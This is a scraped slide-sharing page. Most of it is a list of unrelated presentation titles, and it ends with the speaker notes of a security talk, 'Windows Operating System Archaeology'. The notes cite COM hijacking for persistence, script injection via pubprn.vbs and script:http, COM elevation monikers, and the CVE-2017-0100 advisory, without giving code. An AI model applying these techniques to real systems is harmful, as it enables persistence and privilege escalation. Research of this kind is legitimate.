Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 

Último (20)

What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demo
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 

Windows Operating System Archaeology

Notas del editor

  1. Casey
  2. Casey/Matt
  3. Casey
  4. Casey
  5. Casey
  6. Casey https://cansecwest.com/slides/2015/Smart_COM_Fuzzing_Auditing_IE_Sandbox_Bypass_in_COM_Objects-Xiaoning_li.pdf https://www.blackhat.com/docs/us-14/materials/us-14-Forshaw-Digging-For_IE11-Sandbox-Escapes.pdf COM Specification: http://www.daimi.au.dk/~datpete/COT/COM_SPEC/pdf/com_spec.pdf Windows COM Dependency/History/Origins James Forshaw’s talk at Troopers and Infiltrate
  7. Casey Necessary For GetObject
  8. Casey AppID, CLSID Explain HKCR vs hkcu/hklm
  9. Casey
  10. Casey https://blogs.msdn.microsoft.com/cristib/2012/10/31/how-com-works-how-to-build-a-com-visible-dll-in-c-net-call-it-from-vba-and-select-the-proper-classinterface-autodispatch-autodual-part12/ Be sure to reference script:http for Matt’s malicious demos
  11. Casey Importance Of GetObject
  12. Casey
  13. Casey From COM Specification
  14. Casey
  15. Casey
  16. Casey
  17. Casey
  18. Casey (maybe add arrows)
  19. Casey
  20. Matt Resolution fails as well
  21. Matt (reference treatas)
  22. Casey/Matt
  23. Matt
  24. Matt http://www.nobunkum.ru/analytics/en-com-hijacking https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence https://attack.mitre.org/wiki/Technique/T1122
  25. Matt
  26. Matt
  27. Matt
  28. Matt
  29. Matt Source Code of pubprn.vbs Injectable args(1)
  30. Matt
  31. Matt Point out why that injection is possible. We can hijack the script at CreateObject - before the rest of the logic!
  32. Matt
  33. Matt
  34. Matt
  35. Matt
  36. Casey https://msdn.microsoft.com/en-us/library/ms679687.aspx - COM Elevation Moniker https://bugs.chromium.org/p/project-zero/issues/detail?id=1021&can=1&q=&sort=-id%20-%20P0%20EoP Reference Julian n0pe_sleds write up once posted on using this trick to get DA. http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html
  37. Casey https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=262285 http://blog.inspired-sec.com/archive/2017/03/17/COM-Moniker-Privesc.html Windows HelpPane Elevation of Privilege Vulnerability - CVE-2017-0100 An elevation of privilege exists in Windows when a DCOM object in Helppane.exe configured to run as the interactive user fails to properly authenticate the client. An attacker who successfully exploited the vulnerability could run arbitrary code in another user's session. To exploit the vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability once another user logged in to the same system via Terminal Services or Fast User Switching. The update addresses the vulnerability by correcting how Helppane.exe authenticates the client. The following table contains links to the standard entry for each vulnerability in the Common Vulnerabilities and Exposures list: Vulnerability title CVE number Publicly disclosed Exploited Windows HelpPane Elevation of Privilege Vulnerability CVE-2017-0100 No No
  38. Casey
  39. Matt
  40. Matt
  41. Matt